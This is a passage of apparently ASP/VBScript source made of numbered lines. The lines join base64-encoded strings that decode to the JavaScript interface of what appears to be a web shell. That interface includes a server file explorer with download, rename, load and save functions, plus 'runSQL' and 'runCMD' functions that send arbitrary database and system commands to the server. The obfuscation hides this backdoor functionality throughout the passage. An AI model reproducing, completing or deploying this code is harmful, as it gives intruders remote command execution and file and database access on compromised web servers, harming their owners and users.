  838. "cFtsZXZlbFVwLmxlbmd0aC0yXSsiXFwiLCAiIik7CgoJCWlmKGxldmVsVXAgPT0gIiIgfHwgbGV2ZWxVcCA9PSBudWxsKQoJCQlsZXZlbFVwID0gbGV2ZWxSb290KyJcXCI7CgoJCQluZXdSb3cgPSBhZGRUUigwLCAicm9vdCIpOwoJCQluZXdMaW5rID0gYWRkTGluaygiW1Jvb3RdIFxcIiwgIiIrZmZMaXN0LmluZm8uZmlsZXBh" &_
  839. "dGgrIiNFeHBsb3JlcnwiK2xldmVsUm9vdCsiXFwiKTsKCQkJbmV3Q29sID0gYWRkVEQoIiZuYnNwOyZuYnNwOzxpbWcgc3JjPSc/bW9kZT1pbWFnZSZpbWdJZD1kaXInPiIsICJrYnJ0bSIpOwoJCQluZXdDb2wuYXBwZW5kQ2hpbGQobmV3TGluayk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoJCQluZXdSb3cuYXBw" &_
  840. "ZW5kQ2hpbGQoYWRkVEQoIiZuYnNwOyIsICJrYnJ0bSIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCJESVIiLCAia2JydG0iLCAiIiwgImNlbnRlciIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImti" &_
  841. "cnRtIikpOwoJCQluZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIiZuYnNwOyIsICJrYnJ0bSIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIikpOwoJCQlnZXRJZCgidGJsTGlzdCIpLmFwcGVuZENoaWxk" &_
  842. "KG5ld1Jvdyk7CgoJCQluZXdSb3cgPSBhZGRUUigwLCAidXAiKTsKCQkJbmV3TGluayA9IGFkZExpbmsoIltVcF0gLi4iLCAiIitmZkxpc3QuaW5mby5maWxlcGF0aCsiI0V4cGxvcmVyfCIrbGV2ZWxVcCk7CgkJCW5ld0NvbCA9IGFkZFREKCImbmJzcDsmbmJzcDs8aW1nIHNyYz0nP21vZGU9aW1hZ2UmaW1nSWQ9bHZ1cCc+Iiwg" &_
  843. "ImticnRtIik7CgkJCW5ld0NvbC5hcHBlbmRDaGlsZChuZXdMaW5rKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKG5ld0NvbCk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIikpOwoJCQluZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIkRJUiIsICJrYnJ0bSIsICIiLCAiY2VudGVyIikpOwoJCQlu" &_
  844. "ZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIiZuYnNwOyIsICJrYnJ0bSIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIikpOwoJCQluZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIiZuYnNwOyIsICJrYnJ0" &_
  845. "bSIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCWdldElkKCJ0YmxMaXN0IikuYXBwZW5kQ2hpbGQobmV3Um93KTsKCgkJCW5ld1JvdyA9IGFkZFRSKDAsICJnYXAiKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCW5ld1Jvdy5h" &_
  846. "cHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIikpOwoJCQluZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIiZuYnNwOyIsICJrYnJ0bSIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIikpOwoJ" &_
  847. "CQluZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIiZuYnNwOyIsICJrYnJ0bSIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIikpOwoJCQlnZXRJZCgidGJsTGlzdCIpLmFwcGVuZENoaWxkKG5ld1Jvdyk7" &_
  848. "Cgl9CgoJaWYoZmZMaXN0LmZvbGRlcnMpewoJCXNldEl0ZW1zQ291bnQoKTsKCQlmb3IgKGk9ZmZMaXN0LmZvbGRlcnMubGVuZ3RoIC0gZm9sZGVyTmV3O2k8ZmZMaXN0LmZvbGRlcnMubGVuZ3RoO2krKykKCQl7CgkJCWdldElkKCJ0YmxMaXN0IikuaW5zZXJ0QmVmb3JlKGFkZEZvbGRlclJvdyhpKSwgZ2V0SWQoImdhcDAiKSk7" &_
  849. "CgkJfQoJfWVsc2V7CgkJZ2V0SWQoImZvbGRlck5vIikuaW5uZXJIVE1MID0gIjAiOwoJfQoKCWlmKGZmTGlzdC5maWxlcyl7CgkJc2V0SXRlbXNDb3VudCgpOwoJCWZvciAoaT1mZkxpc3QuZmlsZXMubGVuZ3RoIC0gZmlsZU5ldztpPGZmTGlzdC5maWxlcy5sZW5ndGg7aSsrKQoJCXsKCQkJZ2V0SWQoInRibExpc3QiKS5pbnNl" &_
  850. "cnRCZWZvcmUoYWRkRmlsZVJvdyhpKSwgZ2V0SWQoInRibExpc3QiKS5sYXN0Q2hpbGQubmV4dFNpYmxpbmcpOwoJCX0KCX1lbHNlewoJCWdldElkKCJmaWxlTm8iKS5pbm5lckhUTUwgPSAiMCI7Cgl9Cn0KCmZ1bmN0aW9uIGFkZEZvbGRlclJvdyhpZCkgewoJCQluZXdSb3cgPSBhZGRUUihpZCwgImZvbGRlciIpOwoKCQkJbmV3" &_
  851. "TGluayA9IGFkZExpbmsoZmZMaXN0LmZvbGRlcnNbaWRdLnNwbGl0KCJ8IilbMF0sICIiK2ZmTGlzdC5pbmZvLmZpbGVwYXRoKyIjRXhwbG9yZXJ8IitmZkxpc3QuaW5mby5wYXRoKyIiK2ZmTGlzdC5mb2xkZXJzW2lkXS5zcGxpdCgifCIpWzBdKyJcXCIpOwoJCQluZXdDb2wgPSBhZGRURCgiJm5ic3A7Jm5ic3A7PGltZyBzcmM9" &_
  852. "Jz9tb2RlPWltYWdlJmltZ0lkPWRpcic+IiwgImticnRtIik7CgkJCWFkZEV2ZW50KG5ld0NvbCwgImNsaWNrIiwgY2hlY2tib3hNYW5hZ2VFdmVudCwgdHJ1ZSk7CgkJCWFkZEV2ZW50KG5ld0NvbCwgImRibGNsaWNrIiwgY2hlY2tib3hNYW5hZ2VFdmVudERCTCwgdHJ1ZSk7CgkJCW5ld0NvbC5hcHBlbmRDaGlsZChuZXdMaW5r" &_
  853. "KTsKCgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoJCQluZXdDb2wgPSBhZGRURCgiJm5ic3A7IiwgImticnRtIik7CgkJCWFkZEV2ZW50KG5ld0NvbCwgImNsaWNrIiwgY2hlY2tib3hNYW5hZ2VFdmVudCwgdHJ1ZSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoJCQluZXdDb2wgPSBhZGRURCgiRElSIiwg" &_
  854. "ImticnRtIiwgIiIsICJjZW50ZXIiKTsKCQkJYWRkRXZlbnQobmV3Q29sLCAiY2xpY2siLCBjaGVja2JveE1hbmFnZUV2ZW50LCB0cnVlKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKG5ld0NvbCk7CgkJCW5ld0NvbCA9IGFkZFREKGZmTGlzdC5mb2xkZXJzW2lkXS5zcGxpdCgifCIpWzFdLCAia2JydG0iLCAiIiwgImNlbnRlciIp" &_
  855. "OwoJCQlhZGRFdmVudChuZXdDb2wsICJjbGljayIsIGNoZWNrYm94TWFuYWdlRXZlbnQsIHRydWUpOwoJCQluZXdSb3cuYXBwZW5kQ2hpbGQobmV3Q29sKTsKCQkJbmV3Q29sID0gYWRkVEQoZmZMaXN0LmZvbGRlcnNbaWRdLnNwbGl0KCJ8IilbMl0sICJrYnJ0bSIsICIiLCAiY2VudGVyIik7CgkJCWFkZEV2ZW50KG5ld0NvbCwg" &_
  856. "ImNsaWNrIiwgY2hlY2tib3hNYW5hZ2VFdmVudCwgdHJ1ZSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoJCQluZXdDb2wgPSBhZGRURCgiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBjbGFzcz0neGNoZWNrJyBuYW1lPSdkeCcgb25DbGljaz0nY2hlY2tib3hNYW5hZ2UodGhpcyk7JyB2YWx1ZT0nIitpZCsiJz4iLCAi" &_
  857. "a2JydG0gZmNoZWNrIiwgIiIsICJjZW50ZXIiKTsKCQkJYWRkRXZlbnQobmV3Q29sLCAiY2xpY2siLCBjaGVja2JveE1hbmFnZUV2ZW50LCB0cnVlKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKG5ld0NvbCk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIGZjb21tYW5kIiwgIiIsICJjZW50ZXIi" &_
  858. "KSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiPEEgaHJlZj1cImphdmFzY3JpcHQ6cmVuYW1lRm9sZGVyKCIraWQrIik7XCI+W1JlbmFtZV08L0E+IiwgImticnRtIGZjb21tYW5kIiwgIiIsICJjZW50ZXIiKSk7CgoJCQlyZXR1cm4gbmV3Um93Owp9CgpmdW5jdGlvbiBhZGRGaWxlUm93KGlkKSB7CgkJbmV3Um93ID0g" &_
  859. "YWRkVFIoaWQsICJmaWxlIik7CgoJCW5ld0NvbCA9IGFkZFREKGNyZWF0SW1hZ2UoZmZMaXN0LmZpbGVzW2lkXS5zcGxpdCgifCIpWzBdKSwgImticnRtIik7CgkJYWRkRXZlbnQobmV3Q29sLCAiY2xpY2siLCBjaGVja2JveE1hbmFnZUV2ZW50LCB0cnVlKTsKCQlhZGRFdmVudChuZXdDb2wsICJkYmxjbGljayIsIGNoZWNrYm94" &_
  860. "TWFuYWdlRXZlbnREQkwsIHRydWUpOwoJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoKCQluZXdDb2wgPSBhZGRURCgiWzxmb250IGNvbG9yPXllbGxvdz4iK2ZmTGlzdC5maWxlc1tpZF0uc3BsaXQoInwiKVsxXSsiPC9mb250Pl0iLCAia2JydG0iLCAiIiwgImNlbnRlciIpOwoJCWFkZEV2ZW50KG5ld0NvbCwgImNsaWNr" &_
  861. "IiwgY2hlY2tib3hNYW5hZ2VFdmVudCwgdHJ1ZSk7CgkJbmV3Um93LmFwcGVuZENoaWxkKG5ld0NvbCk7CgoJCW5ld0NvbCA9IGFkZFREKGZmTGlzdC5maWxlc1tpZF0uc3BsaXQoInwiKVsyXSwgImticnRtIiwgIiIsICJjZW50ZXIiKTsKCQlhZGRFdmVudChuZXdDb2wsICJjbGljayIsIGNoZWNrYm94TWFuYWdlRXZlbnQsIHRy" &_
  862. "dWUpOwoJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoKCQluZXdDb2wgPSBhZGRURChmZkxpc3QuZmlsZXNbaWRdLnNwbGl0KCJ8IilbM10sICJrYnJ0bSIsICIiLCAiY2VudGVyIik7CgkJYWRkRXZlbnQobmV3Q29sLCAiY2xpY2siLCBjaGVja2JveE1hbmFnZUV2ZW50LCB0cnVlKTsKCQluZXdSb3cuYXBwZW5kQ2hpbGQo" &_
  863. "bmV3Q29sKTsKCgkJbmV3Q29sID0gYWRkVEQoZmZMaXN0LmZpbGVzW2lkXS5zcGxpdCgifCIpWzRdLCAia2JydG0iLCAiIiwgICJjZW50ZXIiKTsKCQlhZGRFdmVudChuZXdDb2wsICJjbGljayIsIGNoZWNrYm94TWFuYWdlRXZlbnQsIHRydWUpOwoJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoKCQluZXdDb2wgPSBhZGRU" &_
  864. "RCgiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBjbGFzcz0neGNoZWNrJyBuYW1lPSdmeCcgb25DbGljaz0nY2hlY2tib3hNYW5hZ2UodGhpcyk7JyB2YWx1ZT0nIitpZCsiJz4iLCAia2JydG0gZmNoZWNrIiwgIiIsICJjZW50ZXIiKTsKCQlhZGRFdmVudChuZXdDb2wsICJjbGljayIsIGNoZWNrYm94TWFuYWdlRXZlbnQsIHRydWUp" &_
  865. "OwoJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoKCQluZXdDb2wgPSBhZGRURCgiPEEgaHJlZj0nP21vZGU9ZG93bmxvYWQmbG9jYXRpb249IiArIGZmTGlzdC5pbmZvLnBhdGggKyAiJmZpbGU9IitmZkxpc3QuZmlsZXNbaWRdLnNwbGl0KCJ8IilbMF0rIic+W0Rvd25sb2FkXTwvQT4iLCAia2JydG0gZmNvbW1hbmQiLCAi" &_
  866. "IiwgImNlbnRlciIpOwoJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoKCQluZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIjxBIGhyZWY9XCJqYXZhc2NyaXB0OnJlbmFtZUZpbGUoIitpZCsiKTtcIj5bUmVuYW1lXTwvQT4iLCAia2JydG0gZmNvbW1hbmQiLCAiIiwgImNlbnRlciIpKTsKCgkJcmV0dXJuIG5ld1JvdzsKfQoK" &_
  867. "ZnVuY3Rpb24gQ2hlY2tOYW1lKHN0cikgewoJdmFyIHJlOwoJcmUgPSAvW1xcLzoqPyI8PnxdL2dpOwoJaWYgKHJlLnRlc3Qoc3RyKSkgcmV0dXJuIGZhbHNlOwoJZWxzZSByZXR1cm4gdHJ1ZTsKfQoKZnVuY3Rpb24gY2hlY2tib3hNYW5hZ2VFdmVudERCTChlKQp7CglpZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwoJaWQg" &_
  868. "PSBlLnRhcmdldCB8fCBlLnNyY0VsZW1lbnQ7CglpZiAoaWQubm9kZVR5cGUgPT0gMykgaWQgPSBpZC5wYXJlbnROb2RlOwoKCWlmKGlkLnRhZ05hbWUudG9Mb3dlckNhc2UoKSA9PSAiYSIgfHwgaWQudGFnTmFtZS50b0xvd2VyQ2FzZSgpID09ICJpbnB1dCIpCgl7CgkJcmV0dXJuOwoJfQoKCXdoaWxlIChpZC5wYXJlbnROb2Rl" &_
  869. "LnRhZ05hbWUudG9Mb3dlckNhc2UoKSAhPSAidHIiKQoJewoJCWlkID0gaWQucGFyZW50Tm9kZTsKCX0KCglpZihpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbMl0uaW5uZXJIVE1MID09ICJESVIiKXsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbMF0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3Mn" &_
  870. "KSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzNdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDogJ2NsYXNzJyksICdrYnJ0bScpOwoJCWlkLnBhcmVudE5vZGUuY2hpbGROb2Rlc1s0XS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycpLCAna2JydG0nKTsKCQlp" &_
  871. "ZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzVdLmZpcnN0Q2hpbGQuY2hlY2tlZCA9IGZhbHNlOwoJCXJlbmFtZUZvbGRlcihpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uZmly" &_
  872. "c3RDaGlsZC52YWx1ZSk7Cgl9ZWxzZXsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbMF0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzNdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDogJ2NsYXNzJyksICdr" &_
  873. "YnJ0bScpOwoJCWlkLnBhcmVudE5vZGUuY2hpbGROb2Rlc1s0XS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycpLCAna2JydG0nKTsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFy" &_
  874. "ZW50Tm9kZS5jaGlsZE5vZGVzWzVdLmZpcnN0Q2hpbGQuY2hlY2tlZCA9IGZhbHNlOwoJCXJlbmFtZUZpbGUoaWQucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzVdLmZpcnN0Q2hpbGQudmFsdWUpOwoJfQp9CgpmdW5jdGlvbiBjaGVja2JveE1hbmFnZUV2ZW50KGUpCnsKCWlmICghZSkgdmFyIGUgPSB3aW5kb3cuZXZlbnQ7CglpZCA9" &_
  875. "IGUudGFyZ2V0IHx8IGUuc3JjRWxlbWVudDsKCWlmIChpZC5ub2RlVHlwZSA9PSAzKSBpZCA9IGlkLnBhcmVudE5vZGU7CgoJaWYoaWQudGFnTmFtZS50b0xvd2VyQ2FzZSgpID09ICJhIiB8fCBpZC50YWdOYW1lLnRvTG93ZXJDYXNlKCkgPT0gImlucHV0IikKCXsKCQlyZXR1cm47Cgl9CgoJd2hpbGUgKGlkLnBhcmVudE5vZGUu" &_
  876. "dGFnTmFtZS50b0xvd2VyQ2FzZSgpICE9ICJ0ciIpCgl7CgkJaWQgPSBpZC5wYXJlbnROb2RlOwoJfQoKCWlmKGlkLnBhcmVudE5vZGUuY2hpbGROb2Rlc1s1XS5maXJzdENoaWxkLmNoZWNrZWQpewoJCWlkLnBhcmVudE5vZGUuY2hpbGROb2Rlc1swXS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycp" &_
  877. "LCAna2JydG0nKTsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbM10uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzRdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDogJ2NsYXNzJyksICdrYnJ0bScpOwoJCWlk" &_
  878. "LnBhcmVudE5vZGUuY2hpbGROb2Rlc1s1XS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycpLCAna2JydG0nKTsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uZmlyc3RDaGlsZC5jaGVja2VkID0gZmFsc2U7Cgl9ZWxzZXsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbMF0uc2V0QXR0cmli" &_
  879. "dXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJycpOwoJCWlkLnBhcmVudE5vZGUuY2hpbGROb2Rlc1szXS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycpLCAnJyk7CgkJaWQucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzRdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDog" &_
  880. "J2NsYXNzJyksICcnKTsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJycpOwoJCWlkLnBhcmVudE5vZGUuY2hpbGROb2Rlc1s1XS5maXJzdENoaWxkLmNoZWNrZWQgPSB0cnVlOwoJfQp9CgpmdW5jdGlvbiBjaGVja2JveE1hbmFnZShpZCkK" &_
  881. "ewoJaWYoaWQuY2hlY2tlZCl7CgkJaWQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbMF0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJycpOwoJCWlkLnBhcmVudE5vZGUucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzNdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDog" &_
  882. "J2NsYXNzJyksICcnKTsKCQlpZC5wYXJlbnROb2RlLnBhcmVudE5vZGUuY2hpbGROb2Rlc1s0XS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycpLCAnJyk7CgkJaWQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xh" &_
  883. "c3MnKSwgJycpOwoJfWVsc2V7CgkJaWQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbMF0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbM10uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFt" &_
  884. "ZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNF0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2Ns" &_
  885. "YXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7Cgl9Cgp9CgpmdW5jdGlvbiBjaGVja0FsbChpZCkgewoJdmFyIGZtb2JqPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpOwoJZm9yICh2YXIgaT0wOyBpPGZtb2JqLmxlbmd0aDtpKyspIHsKCQl2YXIgZT1mbW9ialtpXTsKCQlpZiAoKGUubmFtZSE9J2No" &_
  886. "ZWNrYm94QWxsJykgJiYgKGUudHlwZT09J2NoZWNrYm94JykgJiYgKCFlLmRpc2FibGVkKSkgewoJCQllLnBhcmVudE5vZGUucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzBdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDogJ2NsYXNzJyksIChpZC5jaGVja2VkID8gJycgOiAna2JydG0nKSk7CgkJCWUucGFyZW50Tm9k" &_
  887. "ZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbM10uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgKGlkLmNoZWNrZWQgPyAnJyA6ICdrYnJ0bScpKTsKCQkJZS5wYXJlbnROb2RlLnBhcmVudE5vZGUuY2hpbGROb2Rlc1s0XS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycp" &_
  888. "LCAoaWQuY2hlY2tlZCA/ICcnIDogJ2ticnRtJykpOwoJCQllLnBhcmVudE5vZGUucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzVdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDogJ2NsYXNzJyksIChpZC5jaGVja2VkID8gJycgOiAna2JydG0nKSk7CgkJCWUuY2hlY2tlZD1pZC5jaGVja2VkOwoJCX0KCX0KCglpZiAo" &_
  889. "aWQuY2hlY2tlZCkgewoJCWlkLnRpdGxlPSdDbGVhciBBbGwnOwoJfSBlbHNlIHsKCQlpZC50aXRsZT0nU2VsZWN0IEFsbCc7Cgl9Cn0KCmZ1bmN0aW9uIHNxbENvbW1hbmRDaGFuZ2UoKSB7CgoJaWYoZ2V0SWQoImNvbW1hbmRDaGFuZ2UiKS52YWx1ZSA9PSAiIDwtPiAiKQoJewoJCWdldElkKCJjb21tYW5kQ2hhbmdlIikudmFs" &_
  890. "dWUgPSAiID4tPCAiOwoJCXNob3dkaXYoInR4dHNxbGNvbW1hbmQiLCB0cnVlKTsKCQlzaG93ZGl2KCJzcWxjb21tYW5kIiwgZmFsc2UpOwoJfQoJZWxzZXsKCQlnZXRJZCgiY29tbWFuZENoYW5nZSIpLnZhbHVlID0gIiA8LT4gIjsKCQlzaG93ZGl2KCJzcWxjb21tYW5kIiwgdHJ1ZSk7CgkJc2hvd2RpdigidHh0c3FsY29tbWFu" &_
  891. "ZCIsIGZhbHNlKTsKCX0KCn0KCgpmdW5jdGlvbiBjbGVhckNvbnRlbnQoKQp7CglpZihnZXRJZCgidGJsTGlzdCIpKQoJCWdldElkKCJ0YmxDb250ZW50IikucmVtb3ZlQ2hpbGQoZ2V0SWQoInRibExpc3QiKSk7Cn0KCgovLyBNb2RlIC8vCmZ1bmN0aW9uIHJ1blNRTCgpCnsKCWlmKChnZXRJZCgic3FsY29ubmVjdGlvbiIpLnZh" &_
  892. "bHVlLnRyaW0oKSAhPSAiIikgJiYgKCgoZ2V0SWQoImNvbW1hbmRDaGFuZ2UiKS52YWx1ZSA9PSAiIDwtPiAiKSAmJiAoZ2V0SWQoInNxbGNvbW1hbmQiKS52YWx1ZS50cmltKCkgIT0gIiIpKSB8fCAoKGdldElkKCJjb21tYW5kQ2hhbmdlIikudmFsdWUgPT0gIiA+LTwgIikgJiYgKGdldElkKCJ0eHRzcWxjb21tYW5kIikudmFs" &_
  893. "dWUudHJpbSgpICE9ICIiKSkpKXsKCQlrZXk9WyJjb25uZWN0aW9uIiwgImNvbW1hbmQiXTsKCQl2YWx1ZT1bZ2V0SWQoInNxbGNvbm5lY3Rpb24iKS52YWx1ZSwgKGdldElkKCJjb21tYW5kQ2hhbmdlIikudmFsdWUgPT0gIiA8LT4gIikgPyBnZXRJZCgic3FsY29tbWFuZCIpLnZhbHVlIDogZ2V0SWQoInR4dHNxbGNvbW1hbmQi" &_
  894. "KS52YWx1ZV07CgkJc2VuZFJlcXVlc3RBY3Rpb24oInJ1blNRTCIsIFtrZXksIHZhbHVlXSk7Cgl9ZWxzZXsKCQlhbGVydCgiQ29ubmVjdGlvbiBTdHJpbmcgYW5kIFNRTCBDb21tYW5kIGFyZSByZXF1aXJlZCAhIik7Cgl9Cn0KCmZ1bmN0aW9uIHJ1bkNNRCgpCnsKCWlmKGdldElkKCJ2Y29tbWFuZCIpLnZhbHVlLnRyaW0oKSAh" &_
  895. "PSAiIil7CgkJa2V5PVsiY29tbWFuZCJdOwoJCXZhbHVlPVtnZXRJZCgidmNvbW1hbmQiKS52YWx1ZV07CgkJc2VuZFJlcXVlc3RBY3Rpb24oInJ1bkNNRCIsIFtrZXksIHZhbHVlXSk7Cgl9ZWxzZXsKCQlhbGVydCgiQ29tbWFuZCBpcyByZXF1aXJlZCAhIik7Cgl9Cn0KCmZ1bmN0aW9uIGxvYWRGaWxlKCkKewoJa2V5PVsiaXRl" &_
  896. "bVBhdGgiXTsKCXZhbHVlPVtnZXRWYXIod2luZG93LmxvY2F0aW9uLmhyZWYsMSldOwoJc2VuZFJlcXVlc3RBY3Rpb24oImxvYWRGaWxlIiwgW2tleSwgdmFsdWVdKTsKfQoKZnVuY3Rpb24gc2F2ZUZpbGUoaVN0YXJ0KQp7CglpZighaVN0YXJ0KSBpU3RhcnQ9MDsKCgl2YXIgaXRlbUNvbnRlbnQgPSBnZXRJZCgidHh0Q29udGVu" &_
  897. "dCIpLnZhbHVlOwoJa2V5PVsiaXRlbVBhdGgiLCAiaXRlbUNvbnRlbnQiLCAic2F2ZU1vZGUiXTsKCWlmKGN1cnJlbnRfcnVubmluZyA9PSBmYWxzZSl7CgkJdmFsdWU9W2dldFZhcih3aW5kb3cubG9jYXRpb24uaHJlZiwxKSwgaXRlbUNvbnRlbnQuc3Vic3RyaW5nKGlTdGFydCwoaXRlbUNvbnRlbnQubGVuZ3RoID4gaVN0YXJ0" &_
